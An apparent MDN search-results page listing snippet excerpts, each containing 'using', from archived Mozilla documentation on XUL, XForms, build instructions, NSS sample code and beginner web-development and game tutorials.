... the locations of avm, asc, builtinabc and shellabc must also be defined using windows paths (replace backslashes [\] with forward slashes [/]): export avm=c:/location/of/avmshell.exe export asc=c:/location/of/asc.jar ...
...And 2 more matches
Tamarin build documentation - Archive of obsolete content
this sdk/ndk *must* be used if you've cloned tamarin at changeset 5844:92ad3ca84a0b or later and will be using the cross-compile build method.
...c_86 $ export path=$path:$android_sdk/platform-tools:$android_ndk_bin - example commands to build tamarin: $ hg clone http://hg.mozilla.org/tamarin-redux $ cd tamarin-redux $ mkdir objdir-release $ cd objdir-release $ ../configure.py --arm-arch=armv7-a --target=arm-android $ make to make a debug shell use this command: ../configure.py --enable-debug --arm-arch=armv7-a --target=arm-android using cross-platform scripts in cygwin on windows: prerequisites: you need python 2.5 or later and gnu make 3.81 or later.
...to build tamarin: copy tamarin/platform/win32/armasm.rules to c:/program files/microsoft visual studio 9.0/vc/vcprojectdefaults build "builtin.h" following the instructions below in the section "compiling and running applications" do the same for shell_toplevel.h, starting in avmplus/shell, using the command "python shell_toplevel.py" open the tamarin project file "platform/win32/avmplus2008.sln".
...And 2 more matches
XML in Mozilla - Archive of obsolete content
you can use xhtml elements inside an arbitrary xml document by using the xhtml namespace.
...you can make any xml element into an xlink by using the xlink namespace http://www.w3.org/1999/xlink.
...in addition to using fixptr in links, it is possible to use it from scripts.
...And 2 more matches
Learn XPI Installer Scripting by Example - Archive of obsolete content
first, a quick scan of the contents of the xpi file (which you can open using with any unzip utility) reveals the following high-level directory structure: install.js bin\ chrome\ components defaults\ icons\ plugins\ res\ note that this high-level structure parallels the directory structure of the installed browser very closely: as you will see in the installation script, the contents of the archive are installed onto the file system in much the same way ...
... overview of the install script xpi install scripts are written in javascript using xpinstall engine syntax defined in the xpinstall api reference.
... note also the comments that indicate the success of various steps in the process--including the performinstall and cancelinstall steps--are written to the install log using the logcomment, described in the following section.
...And 2 more matches
Building accessible custom components in XUL - Archive of obsolete content
further reading grid element reference description element reference label element reference grid tutorial label tutorial adding roles with dhtml accessibility download stage-2.zip install stage-2.xpi using the new dhtml accessibility techniques in firefox 1.5, we can declare the role of each element in our spreadsheet.
...role declarations are a little confusing at first glance, but they all follow the same pattern.
...you might initially think of using the css border property, but that will add width and height to the focused cell.
...And 2 more matches
Dynamically modifying XUL-based user interface - Archive of obsolete content
this article discusses manipulating xul interfaces, using dom and other apis.
... it explains the concept of dom documents, demonstrates a few simple examples of using dom calls to perform basic manipulations on a document, and then demonstrates working with anonymous xbl content using mozilla-specific methods.
...in xul applications javascript defines the behavior, using dom apis to access the xul document.
...And 2 more matches
XUL Events - Archive of obsolete content
the events listeners can be attached using addeventlistener and removed using removeeventlistener.
... some of the events can be attached using attributes as well.
... when attaching event listeners using attributes, be aware that only one listener can be attached at a time.
...And 2 more matches
IO - Archive of obsolete content
ArchiveMozillaXULFileGuideIO
other documentation on files and i/o not using the unavailable nsiscriptableio apis: code snippets: file i/o, open and save dialogs, reading textual data, writing textual data, list of file-related error codes.
...using files a xul application or extension may access files on disk, and either read or write to files.
...file errors see file errors for a list of errors that might occur while using files.
...And 2 more matches
How to implement a custom XUL query processor component - Archive of obsolete content
the xul template guide has lots of detailed information on using xul templates.
... here is an example of what our xul might look like when using a custom query processor: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <grid> <columns> <column flex="1"/> <column flex="3"/> <column flex="2"/> <column flex="1"/> </columns> <rows datasources="dummy" ...
...we are not really using the datasources in our sample component, so we set it to a dummy value.
...And 2 more matches
Panels - Archive of obsolete content
when using the popup attribute, the panel will appear with the top left corner at the mouse position.
... it is also possible to open a panel like a context menu using the context attribute instead of the popup attribute.
... this works just like using context menus except that the panel element is used instead of the menupopup element.
...And 2 more matches
Additional Template Attributes - Archive of obsolete content
it is also possible to be explicit about the two variables by using two attributes on the <template> element.
...you might also use these attributes just to make the code clearer when using very complex queries.
... one possible advantage is when using the simple rdf query syntax where you don't specify variables; instead you use the special 'rdf:*' syntax for the member variable and the container is implied.
...And 2 more matches
Introduction - Archive of obsolete content
here is an example: <vbox datasources="http://www.xulplanet.com/ds/sample.rdf" querytype="rdf"> this example specifies the datasource 'http://www.xulplanet.com/ds/sample.rdf', using the datasource type rdf as indicated by the querytype attribute'.
...the template builder loads an rdf datasource using the rdf service in the same way as you would create a datasource through the rdf service directly.
...the datasources attribute should be the url of an xml file, which can be either the location of a web site or a file on the local file system, using its file or chrome url.
...And 2 more matches
Simple Query Syntax - Archive of obsolete content
you can get other predicates in the same way, just by using the predicate uri and prefixing it with 'rdf:'.
...here is the photos example using the simple syntax.
...it is still possible to do filtering using simple query and we'll look at this below.
...And 2 more matches
Sorting Results - Archive of obsolete content
when using a tree, sorting may be performed on each column of the tree.
...using a tree builder, you can sort the results in a tree by a column.
...in almost all situations however, you would normally sort using the same variable used for the label value.
...And 2 more matches
textbox (Toolkit autocomplete) - Archive of obsolete content
the components are created using the name @mozilla.org/autocomplete/search;1?name= where name is listed in this attribute.
...using it with an anchor tag (an <a> link) will have no effect.
...you may specify grey text to appear when the search box is empty using the emptytext attribute, and a timeout may be set for the command event using the timeout attribute (defaults to 500).
...And 2 more matches
The Joy of XUL - Archive of obsolete content
this same investigation will provide sufficient explanation of mozilla's motivation to build xul and why the mozilla platform is constructed using it.
... by using xbl, developers can easily build custom user interface widgets such as progress meters, fancy pop-up menus, and even toolbars and search forms.
...they are a general mechanism for adding ui for additional components, overriding small pieces of a xul file without having to resupply the whole ui, and reusing particular pieces of the ui.
...And 2 more matches
Complete - Archive of obsolete content
the application's chrome registry converts this url to the correct dtd file for the locale you are using.
...a preference setting in defaults/preferences/allcustom.js makes the connection between the description and the properties file, specifying the url: chrome://allcustom/locale/install.properties again, the application's chrome registry converts this url to the correct file for the locale you are using.
...restart the application using the command line switch: -uilocale fr-fr (of course, if your application is already in french, specify en-us here to switch the extension to english.) notes: if you use a shortcut or launcher icon to start the application, then you can add the command line switch by editing the icon's properties.
...And 2 more matches
Adding HTML Elements - Archive of obsolete content
you should avoid using html elements in xul files if you can.
...xhtml namespace in order to use html elements in a xul file, you must declare that you are doing so using the xhtml namespace.
... using html elements you can use any html tag although some such as head and body are not really useful.
...And 2 more matches
Anonymous Content - Archive of obsolete content
the result of using the above binding is that the line of xul below will be expanded as follows, assuming that the scrollbar is bound to the xbl above: <scrollbar/> expands to: <scrollbar> <xul:scrollbarbutton type="decrement"/> <xul:slider flex="1"> <xul:thumb/> </xul:slider> <xul:scrollbarbutton type="increment"/> </scrollbar> the elements within the content tag are added to the scroll bar ano...
...this inner content is created anonymously and cannot be seen using the dom.
...using the children element there may be times when you want both the xbl content and the content provided by the xul file to be displayed.
...And 2 more matches
Broadcasters and Observers - Archive of obsolete content
if someone added a new back button using an extension, it wouldn't be handled.
...this is analogous to using the command attribute when attaching an element to a command element.
...you can also have only one if you wanted to but that would accomplish very little since the main reason for using broadcasters is to have attributes forwarded to multiple places.
...And 2 more matches
List Controls - Archive of obsolete content
example 1 : source view <listbox> <listitem label="butter pecan" /> <listitem label="chocolate chip" /> <listitem label="raspberry ripple" /> <listitem label="squash swirl" /> </listbox> like with the html option element, you can assign a value for each item using the value attribute.
...the listcols element is used to hold the column information, each of which is specified using a listcol element.
...the header row is not a normal row however, so using a script to get the first row in the list box will skip the header row.
...And 2 more matches
Simple Menu Bars - Archive of obsolete content
we've already seen part of how to make menus using the menulist.
...label="new"/> <menuitem label="open"/> <menuitem label="save"/> <menuseparator/> <menuitem label="exit"/> </menupopup> </menu> <menu id="edit-menu" label="edit"> <menupopup id="edit-popup"> <menuitem label="undo"/> <menuitem label="redo"/> </menupopup> </menu> </menubar> </toolbox> here, a simple menu bar is created using the menubar element.
...the popups are created using the menupopup element.
...And 2 more matches
The Chrome URL - Archive of obsolete content
for example, a chrome url lets you refer to a file in the theme such as an image without needing to know which theme the user is using.
... as long as the filenames are the same in each theme, you can refer to the file using a chrome url.
...similarly, you can point to a file that is part of a locale by using 'locale' instead of 'content'.
...And 2 more matches
button - Archive of obsolete content
you can specify the label of the button using the label attribute or by placing content inside the button.
... none the text will be not be cropped using an ellipsis.
...using it with an anchor tag (an <a> link) will have no effect.
...And 2 more matches
menu - Archive of obsolete content
ArchiveMozillaXULmenu
none the text will be not be cropped using an ellipsis.
...using it with an anchor tag (an <a> link) will have no effect.
...for user editable menulist elements, the contents, as visible to the user, are read and set using the menulist.value syntax.
...And 2 more matches
menuitem - Archive of obsolete content
none the text will be not be cropped using an ellipsis.
...using it with an anchor tag (an <a> link) will have no effect.
...for user editable menulist elements, the contents, as visible to the user, are read and set using the menulist.value syntax.
...And 2 more matches
<statusbarpanel> - Archive of obsolete content
none the text will be not be cropped using an ellipsis.
...specify the image using the src attribute.
...specify the image using the src attribute.
...And 2 more matches
Building XULRunner with Python - Archive of obsolete content
you should also read the the developer documentation on source code and building as wells as pyxpcom xulrunner with python promises to be a good platform for accessibility projects and both jambu alternative input and the iaccessible2 test tool are using it.
...install the included python distro usingpython25\python-2.5.msi.
... using python in xul applications add the following to yourprefs.js during development pref("browser.dom.window.dump.enabled", true); pref("javascript.options.showinconsole", true); pref("javascript.options.strict", true); pref("nglayout.debug.disable_xul_cache", true); pref("nglayout.debug.disable_xul_fastload", true); html <script> tags specify that python is used withtype="application/x-python" a...
...And 2 more matches
Archived Mozilla and build documentation - Archive of obsolete content
embedding faq embedding mozilla in a java application using javaxpcom xulrunner ships with the javaxpcom component, which allows java code to interact with xpcom objects.
...it is good style to check for these unwanted regressions and fixing them before checkin rather than causing bugzilla avalanches.
...resources are identified by uri "uniform resource identifier" (taken from rfc 2396): urischeme list of mozilla supported uri schemes using addresses of stack variables with nspr threads on win16 this is a cautionary note that may be old information for some of you.
...And 2 more matches
Extentsions FAQ - Archive of obsolete content
"); var replaceme = document.getelementbyid("replaceme"); replaceme.parentnode.replacechild(newnode, replaceme); is it possible to place an image in the window that can be moved to anywhere in the window, and always remain on top of everything else?(similiar to using position:absolute and-index:100000 in html) you can almost do this with a stack: <window ...> <stack flex="1"> <image top="40" left="80"/> <vbox> other content here </vbox> </stack> </window> the only restriction is that your image can't overlap the right or bottom of the window.
... how to create a dynamic drop down menu that may have submenus using javascript for an extension?
...(ci.nsiinterfacerequestor) .getinterface(ci.nsiwebnavigation) .queryinterface(ci.nsidocshelltreeitem) .roottreeitem .queryinterface(ci.nsiinterfacerequestor) .getinterface(ci.nsidomwindow) .queryinterface(ci.nsidomchromewindow); var sidebar = toplevelwindow.document.getelementbyid("sidebar"); alert(sidebar.contentdocument); is there anyone successfully using dojo in a firefox extension and where to fine sample codes?
...And 2 more matches
Adobe Flash - Archive of obsolete content
on mac os x, there is an additional caveat: netscape gecko browsers such as camino (formerly chimera), the latest mozilla browsers, and future versions of netscape which are built using the mach-o binary format won't be able to use flash's scriptability features.
...most of its functions can be reproduced using modern web apis.
... using the right html the object element or the embed element can be used to invoke plugins in netscape gecko browsers.
...And 2 more matches
Sunbird Theme Tutorial - Archive of obsolete content
you can use this kind of zip tool if you rename each file before and after using the tool.
... you also need knowledge of: using your operating system to create files and directories using the tools listed above css graphic design knowledge of xul, xbl and javascript is useful for advanced themes.
... fixing bug 320823 if you are using the sunbird 0.3a1 release, or a test build before 2005-12-21, then you must apply a fix for bug 320823 to allow sunbird to use themes.
...And 2 more matches
XForms Custom Controls - Archive of obsolete content
it is possible to re-enable this by following the steps on using remote xul.
...the xforms specification provides for a nice way to do this using xforms binding attributes (like ref, or nodeset) on your custom control element.
...overview the mozilla xforms controls are largely implemented using xbl and the bindings are applied to the individual xforms control tags via css.
...And 2 more matches
Implementation Status - Archive of obsolete content
302168; 3.3.1 model supported 3.3.2 instance partial instance element with two child element does not trigger exception 337302; 3.3.3 submission partial no support for @indent and complex schema validation 278761; 278762; 3.3.4 bind partial using the index() function in binds does not work.
...levancy applied via a bind to an element fails to apply to child attributes 342319; 6.1.5 calculate supported 6.1.6 constraint supported 6.1.7 p3ptype unsupported 279049; 6.2.1 atomic datatype partial we will support simpletype's using length, minlength, maxlength, pattern, maxinclusive, mininclusive, maxexclusive, minexclusive, totaldigits, and fractiondigits 7.
....6.2 is-card-number() unsupported 7.7.1 avg() supported 7.7.2 min() supported 7.7.3 max() supported 7.7.4 count-non-empty() supported 7.7.5 index() partial binds using index() are not working 292333; 7.7.6 power() supported 7.7.7 random() supported 7.7.8 compare() supported 7.8.1 if() supported 7.8.2 property() partial returns basic for conformance-...
...And 2 more matches
Archived open Web documentation - Archive of obsolete content
browser feature detection an experimental approach to discovering degree of support for standards css obsolete css features displaying notifications (deprecated) firefox offers support for "desktop notifications"; these are notifications that are displayed to the user outside the context of the web content, using the standard notification system provided by the operating system.
... properly using css and javascript in xhtml documents xhtml™ 1.0 the extensible hypertext markup language (second edition) defines xhtml to be a reformulation of html 4 as an xml 1.0 application.
...i also just read a document on proper inheritance using apply().
...And 2 more matches
Bounding volume collision detection with THREE.js - Game development
this article shows how to implement collision detection between bounding boxes and spheres using the three.js library.
... using box3 and sphere three.js has objects that represent mathematical volumes and shapes — for 3d aabb and bounding spheres we can use the box3 and sphere objects.
...box and sphere using boxhelper as an alternative to using raw box3 and sphere objects, three.js has a useful object to make handling bounding boxes easier: boxhelper (previously boundingboxhelper, which has been deprecated).
...And 2 more matches
Building up a basic demo with Babylon.js - Game development
in this article we'll take you through the real basics of using babylon.js, including setting up a development environment, structuring the necessary html, and writing the javascript code.
...you should start off by: making sure you are using a modern browser with good webgl support, such as the latest firefox or chrome.
... var renderloop = function () { scene.render(); }; engine.runrenderloop(renderloop); we're using the engine's runrenderloop() method to execute the renderloop() function repeatedly on every frame — the loop will continue to render indefinitely until told to stop.
...And 2 more matches
Building up a basic demo with Three.js - Game development
in this article we'll take you through the real basics of using three, including setting up a development environment, structuring the necessary html, the fundamental objects of three, and how to build up a basic demo.
...you should: make sure you are using a modern browser with good webgl support, such as the latest firefox or chrome.
...let's create it, by adding the following line below our previous lines: var scene = new three.scene(); later, we will be using the .add() method, to add objects to this scene.
...And 2 more matches
GLSL Shaders - Game development
to speed up the background code we will be using the three.js api.
...using a gpu to deal with shaders offloads some of the number crunching from the cpu.
...you should: make sure you are using a modern browser with good webgl support, such as the latest firefox or chrome.
...And 2 more matches
Create the Canvas and draw on it - Game development
this can be done using html and the <canvas> element.
...using your favourite text editor, create a new html document, save it as index.html, in a sensible location, and add the following code to it: <!doctype html> <html> <head> <meta charset="utf-8" /> <title>gamedev canvas workshop</title> <style> * { padding: 0; margin: 0; } canvas { background: #eee; display: block; margin: 0 auto; } </style> </head> <body> <canvas id="mycanvas" width="480" height="320"></canvas> <script> // javascript code goes here </script> </body> </html> we have a charset defined, <title> and some basic css in the header.
...we are defining a rectangle using rect(): the first two values specify the coordinates of the top left corner of the rectangle on the canvas, while the second two specify the width and height of the rectangle.
...And 2 more matches
2D maze game with device orientation - Game development
in this tutorial we’ll go through the process of building an html5 mobile game that uses the device orientation and vibration apis to enhance the gameplay and is built using the phaser framework.
... var game = new phaser.game(320, 480, phaser.canvas, 'game'); the line above will initialize the phaser instance — the arguments are the width of the canvas, height of the canvas, rendering method (we're using canvas, but there are also webgl and auto options available) and the optional id of the dom container we want to put the canvas in.
... name of the image asset the button is using.
...And 2 more matches
Accessible multimedia - Learn web development
in many cases this will simply take the form of video, in which case you can implement captions using the techniques described in the next section of the article.
...you might also need to deal with games, animations, slideshows, embedded video, and content created using other available technologies such as: html5 canvas flash silverlight for such content, you need to deal with accessibility concerns on a case by case basis.
... in some cases it is not so bad, for example: if you are embedding audio content using a plugin technology like flash or silverlight, you can probably just provide an audio transcript in the same manner as we already showed above in the transcript examples section.
...And 2 more matches
Advanced styling effects - Learn web development
filters while you can't change the composure of an image using css, there are some creative things you can do.
... the second is grayscale(); by using a percentage we are setting how much color we want to be removed.
... css shapes while it is true that everything in css is a rectangular box, and images are a physical rectangular box, we can make it look as if our content flows around non-rectangular things by using css shapes.
...And 2 more matches
Images, media, and form elements - Learn web development
this means that it has a size in both the horizontal (x) and vertical (y) dimensions, and will be displayed using the intrinsic dimensions of the file by default.
...when using object-fit the replaced element can be sized to fit a box in a variety of ways.
... replaced elements in layout when using various css layout techniques on replaced elements, you may well find that they behave slightly differently to other elements.
...And 2 more matches
CSS first steps - Learn web development
this module provides a gentle beginning to your path towards css mastery with the basics of how it works, what the syntax looks like, and how you can start using it to add styling to html.
... get started prerequisites before starting this module, you should have: basic familiarity with using computers, and using the web passively (i.e.
... how css is structured now that you have an idea about what css is and the basics of using it, it is time to look a little deeper into the structure of the language itself.
...And 2 more matches
Your first form - Learn web development
overview: forms next the first article in our series provides you with your very first experience of creating a web form, including designing a simple form, implementing it using the right html form controls and other html elements, adding some very simple styling via css, and describing how data is sent to a server.
...the controls can be single or multi-line text fields, dropdown boxes, buttons, checkboxes, or radio buttons, and are mostly created using the <input> element, although there are some other elements to learn about too.
...this is done by using the <button> element; add the following just above the closing </ul> tag: <li class="button"> <button type="submit">send your message</button> </li> the <button> element also accepts a type attribute — this accepts one of three values: submit, reset, or button.
...And 2 more matches
CSS basics - Learn web development
using a text editor, paste the three lines of css (above) into a new file.
...so to apply margins to the image, we must give the image block-level behavior using display: block;.
... note: the instructions above assume that you're using an image smaller than the width set on the body.
...And 2 more matches
JavaScript basics - Learn web development
using javascript.
... you did this by using a function called queryselector() to grab a reference to your heading, and then store it in a variable called myheading.
... this is similar to what we did using css selectors.
...And 2 more matches
Advanced text formatting - Learn web development
you could try using your own terms and descriptions if you like.
... if you make a mistake, you can always reset it using the reset button.
...there is no way to get the browser to display the contents of cite, without writing your own solution using javascript or css.
...And 2 more matches
Creating hyperlinks - Learn web development
anatomy of a link a basic link is created by wrapping the text or other content, see block level links, inside an <a> element and using the href attribute, also known as a hypertext reference, or target, that contains the web address.
... active learning: creating your own example link create an html document using your local code editor and our getting started template.
... <a href="https://www.mozilla.org/"> <img src="mozilla-image.png" alt="mozilla logo that links to the mozilla homepage"> </a> note: you'll find out more about using images on the web in a future article.
...And 2 more matches
Getting started with HTML - Learn web development
if you make a mistake, you can clear your work using the reset button.
... if you make a mistake, you can always reset it using the reset button.
...the disabled elements typically have a grayed-out appearance.) for example: <input type="text" disabled="disabled"> as shorthand, it is acceptable to write this as follows: <!-- using the disabled attribute prevents the end user from entering text into the input box --> <input type="text" disabled> <!-- text input is allowed, as it doesn't contain the disabled attribute --> <input type="text"> for reference, the example above also includes a non-disabled form input element.the html from the example above produces this result: omitting quotes around attribute values if y...
...And 2 more matches
What’s in the head? Metadata in HTML - Learn web development
there are a lot of different types of <meta> elements that can be included in your page's <head>, but we won't try to explain them all at this stage, as it would just get too confusing.
... a favicon can be added to your page by: saving it in the same directory as the site's index page, saved in .ico format (most browsers will support favicons in more common formats like .gif or .png, but using the ico format will ensure it works as far back as internet explorer 6.) adding the following line into your html's <head> block to reference it: <link rel="shortcut icon" href="favicon.ico" type="image/x-icon"> here is an example of a favicon in a bookmarks panel: there are lots of other icon types to consider these days as well.
...these are most commonly applied to a web page using the <link> element and the <script> element, respectively.
...And 2 more matches
Making asynchronous programming easier with async and await - Learn web development
the basics of async/await there are two parts to using async/await in your code.
...in addition, this lets synchronous functions avoid any potential overhead that comes with running with support for using await.
...see the promise.all() line: let values = await promise.all([coffee, tea, description]); by using await here we are able to get all the results of the three promises returned into the values array, when they are all available, in a way that looks very much like sync code.
...And 2 more matches
Introducing asynchronous JavaScript - Learn web development
why is this difficult to get to work using synchronous code?
...using callbacks is slightly old-fashioned now, but you'll still see them in use in a number of older-but-still-commonly-used apis.
...in this case the callback is waiting on the xhr call to finish downloading the resource (using the onload event handler) before it passes it to the callback.
...And 2 more matches
Handling text — strings in JavaScript - Learn web development
you should choose one and stick to it, however; differently quoted code can be confusing, especially if you use two different quotes on the same string!
... the following will return an error: let badquotes = 'what on earth?"; the browser will think the string has not been closed because the other type of quote you are not using to contain your strings can appear in the string.
... concatenation in context let's have a look at concatenation being used in action — here's an example from earlier in the course: <button>press me</button> const button = document.queryselector('button'); button.onclick = function() { let name = prompt('what is your name?'); alert('hello ' + name + ', nice to see you!'); } here we're using a window.prompt() function in line 4, which asks the user to answer a question via a popup dialog box then stores the text they enter inside a given variable — in this case name.
...And 2 more matches
Object prototypes - Learn web development
note: it is worth reading our more in-depth guide to "using prototypes in javascript", once you've made sense of this section and wish to know more.
... important: the prototype property is one of the most confusingly-named parts of javascript — you might think that this points to the prototype object of the current object, but it doesn't (that's an internal object that can be accessed by __proto__, remember?).
...here, person2 is being created using person1 as a prototype object.
...And 2 more matches
Website security - Learn web development
while all that sounds very ominous, the good news is that if you're using a server-side web framework, it will almost certainly enable "by default" robust and well-thought-out defense mechanisms against a number of the more common attacks.
... cross-site request forgery (csrf) csrf attacks allow a malicious user to execute actions using the credentials of another user without that user’s knowledge or consent.
...john is a malicious user who knows that a particular site allows logged-in users to send money to a specified account using an http post request that includes the account name and an amount of money.
...And 2 more matches
Add-ons
they are written using standard web technologies - javascript, html, and css - plus some dedicated javascript apis.
... developing extensions in the past, there were several toolsets for developing firefox extensions, but as of november 2017, extensions must be built using webextensions apis.
... extensions written using webextensions apis for firefox are designed to be cross-browser compatible.
...And 2 more matches
Browser chrome tests
the browser chrome test suite is an automated testing framework designed to allow testing of application chrome windows using javascript.
... it currently allows you to run javascript code in the same scope as the main firefox browser window and report results using the same functions as the mochitest test framework.
...using a descriptive file name is strongly encouraged instead of just using a bug number.
...And 2 more matches
Debugging JavaScript
web console this is the first place to go when you're debugging a web page; open the web console using the web console option in the web developer menu.
... you can also start the browser console when you launch firefox, by launching firefox from the command line and passing --jsconsole as a flag: /path/to/firefox --jsconsole log to the browser console using the standard console api after importing console.jsm: let console = (cu.import("resource://gre/modules/console.jsm", {})).console; console.log("hello from firefox code"); error console this is obsolete and is no longer enabled in firefox by default.
... under microsoft windows you additionally need to start firefox via the following command to have a native console : firefox.exe -console using normal javascript object inspection, you can write a function that dumps a whole object, similar to this ddumpobject().
...And 2 more matches
Debugging on Windows
this document explains how to debug mozilla-derived applications such as firefox, thunderbird, and seamonkey on windows using the visual c++ ide.
... avoiding stepping into certain functions you can avoid stepping into certain functions, such as nscomptr methods, using an undocumented feature of vc.
... see the blog post how to not step into functions using the visual c++ debugger for details.
...And 2 more matches
Interface Compatibility
javascript/xul interfaces traditional extensions written using xul overlays and xpcom have access to the full power of the mozilla platform.
...changes should not be taken lightly, however: especially if a change is likely to affect many extensions, the change should try to maintain backwards compatibility by using optional/default parameters or other javascript techniques.
...this may involve using javascript modules, passing named parameters using objects, or other similar techniques.
...And 2 more matches
How to Report a Hung Firefox
check the cpu usage of the firefox process(es): is it idle, using 100% of a core (which may show up as 50%, 25% in your monitoring tool if you have a multi-core processor) or neither?
... create a new bug report at bugzilla.mozilla.org using this link.
... then, in a terminal, kill firefox using a command such as this: # replace 31042 with the pid of firefox found above kill -n sigabrt 31042 # on osx kill -s sigabrt 31042 the firefox crash report ui should appear.
...And 2 more matches
IPDL Tutorial
maybe); }; custom primitive types when you need to send data of a type other than one built into ipdl, you can add a using declaration in an ipdl specification.
... using mozilla::plugins::npremoteevent; sync protocol pplugininstance { child: async handleevent(npremoteevent); }; unions ipdl has built-in support for declaring discriminated unions.
... using struct mozilla::void_t from "ipc/ipcmessageutils.h"; union variant { void_t; bool; int; double; nscstring; ppluginscriptableobject; }; this union generates a c++ interface which includes the following: struct variant { enum type { tvoid_t, tbool, tint, tdouble, tnscstring, tpplugionscriptableobject }; type type(); void_t& get_void_t(); bool& get_bool(); int& get_int(); double& get_double(); nscstring& get_nscstring(); ppluginscriptableobject* get_ppluginscriptableobject(); }; aunion.type() can be used to determine the type of a union received in an ipdl message handler, with the remaining functions granting access to its contents.
...And 2 more matches
Implementing Download Resuming
this document describes how an embedder or other gecko/necko-using application can implement download resuming.
... the interface resuming is done using the nsiresumablechannel interface.
...the server is not using http 1.1), then accessing this attribute will throw an ns_error_not_resumable exception.
...And 2 more matches
Localization content best practices
using meaningful ids could also help in these cases.
... implication: using placeholders for something like 'the text' or 'the file' works well in english but is likely to cause severe headaches for localizers if the placeholders cannot be inflected.
...using multiple %s give the impression that the order of variables if fixed, which is actually not.
...And 2 more matches
QA phase
if you're using one of these tools, feel free to skip ahead to the seeing your work section.
... if you're not using one of these tools, let's walk you through building your own language pack manually.
... preliminary instructions we will be using the following file directories for this example: your working directory (root)/ mozilla-aurora (en-us source, pulled from http://hg.mozilla.org/releases/mozilla-aurora )/ l10n-central (directory for l10n directories, one per l10n; often referred to as "l10n base")/ your-locale-code (a directory with your l10n files, in this example we'll use x-testing) example: root/mozilla-aurora & root/l10n-central/x-testing additionally, you will need to copy and translate the toolkit/defines.inc file directly from en-us before you can build.
...And 2 more matches
Translation phase
these are the mozilla application projects that are localized using the l10n tools above: firefox the award-winning firefox® web browser has security, speed and new features that will change the way you use the web.
... note: if you are starting a new localization and decide to use an offline tool for localizing mozilla applications, you will need to become familiar with using mercurial (hg).
... visit the tutorial on using hg in your localization efforts here.
...And 2 more matches
A brief guide to Mozilla preferences
they are: default preference files firefox ships default preferences in several files, all in the application directory: greprefs.js - preferences shared by all applications using the mozilla platform services/common/services-common.js - preferences for some shared services code, this should arguably be included in some other file defaults/pref/services-sync.js - default preferences for firefox sync, also oddly misplaced browser/app/profile/channel-prefs.js - a file indicating the user's update channel.
...the exception to this is a preference read using sticky_pref() - these preference will be written whenever the preference has a user value even when it is the same as the default.
...programmatic changes to preferences can be made using the preferences.jsm module from js code, or the mozilla::preferences static class methods from c++ code.
...And 2 more matches
AsyncTestUtils extended framework
you should stop using both the message set that you called this on and the other set that you passed in unless you are very careful.
...this is different from using a pop fake-server.
... we just cram them using addmessage, although we try and approximate what would happen with pop in terms of still invoking filters and such.
...And 2 more matches
Optimizing Applications For NSPR
this means that when the application using nspr is dispatched, a thread within that application will run until that thread voluntarily gives up control to another thread within the process.
... the general rules of 16 bit large model memory restrictions apply to applications using nspr on windows 3.1.
...nspr's file i/o is done using windows 3.1's synchronous file i/o api.
...And 2 more matches
Encrypt Decrypt MAC Keys As Session Objects
nss sample code 4: encryption/decryption and mac keys using session.
...ll) { pr_fprintf(pr_stderr, "can't create mac context\n"); rv = secfailure; goto cleanup; } rv = macinit(ctxmac); if (rv != secsuccess) { goto cleanup; } ctxenc = encryptinit(ek, iv, ivlen, ckm_aes_cbc); /* read a buffer of plaintext from input file */ while ((ptextlen = pr_read(infile, ptext, sizeof(ptext))) > 0) { /* encrypt using it using cbc, using previously created iv */ if (ptextlen != blocksize) { paddinglength = blocksize - ptextlen; for ( j=0; j < paddinglength; j++) { ptext[ptextlen+j] = (unsigned char)paddinglength; } ptextlen = blocksize; } rv = encrypt(ctxenc, encbuf, &encbuflen, sizeof(encbuf), ...
...open \"%s\" for writing.\n", outfilename); return secfailure; } rv = macinit(ctxmac); if (rv != secsuccess) goto cleanup; ctxenc = decryptinit(ek, iv, ivlen, ckm_aes_cbc); filelength = filesize(encryptedfilename); while ((ctextlen = pr_read(infile, ctext, sizeof(ctext))) > 0) { count += ctextlen; /* decrypt cipher text buffer using cbc and iv */ rv = decrypt(ctxenc, decbuf, &decbuflen, sizeof(decbuf), ctext, ctextlen); if (rv != secsuccess) { pr_fprintf(pr_stderr, "decrypt failure\n"); goto cleanup; } if (decbuflen == 0) break; rv = macupdate(ctxmac, decbuf, decbuflen); if (rv != secsuccess) { goto cleanup; } if (count =...
...And 2 more matches
sample2
-t <trust> -c <cert> [ -r <csr> -u <issuernickname> [-x <\"\">] -m <serialnumber> ]"); fprintf(stderr, "%s %s\n --to put cert in header\n\n", progname, "-h -n <nickname> -b <headerfilename> [-v <\"\">]"); fprintf(stderr, "%s %s\n --to find public key from cert in header and encrypt\n\n", progname, "-e -b <headerfilename> -i <ipfilename> -e <encryptfilename> "); fprintf(stderr, "%s %s\n --decrypt using corresponding private key \n\n", progname, "-d -b <headerfilename> -e <encryptfilename> -o <opfilename>"); fprintf(stderr, "%s %s\n --sign using private key \n\n", progname, "-s -b <headerfilename> -i <infilename> "); fprintf(stderr, "%s %s\n --verify using public key \n\n", progname, "-v -b <headerfilename> -i <ipfilename> "); fprintf(stderr, "options:\n\n"); fprintf(stderr, "%-30s - db director...
...ue; } if (!outfilename) { pr_fprintf(pr_stderr, "%s -d -d %s -b %s -e %s -o : output file name is not found\n", progname, dbdir, headerfilename, encryptedfilename); validationfailed = pr_true; } if (validationfailed) { fprintf(stderr, "\nusage: %s %s \n\n", progname, "-d -d <dbdirpath> -b <headerfilename> -e <encryptfilename> -o <opfilename>\n"); exit(-1); } } /* * sign the contents of input file using private key and * return result as secitem */ secstatus signdata(const char *infilename, seckeyprivatekey *pk, secitem *res) { secstatus rv = secfailure; unsigned int nb; unsigned char ibuf[4096]; prfiledesc *infile = null; sgncontext *sgn = null; /* open the input file for reading */ infile = pr_open(infilename, pr_rdonly, 0); if (!infile) { pr_fprintf(pr_stderr, "unable to open \"%s\" for readi...
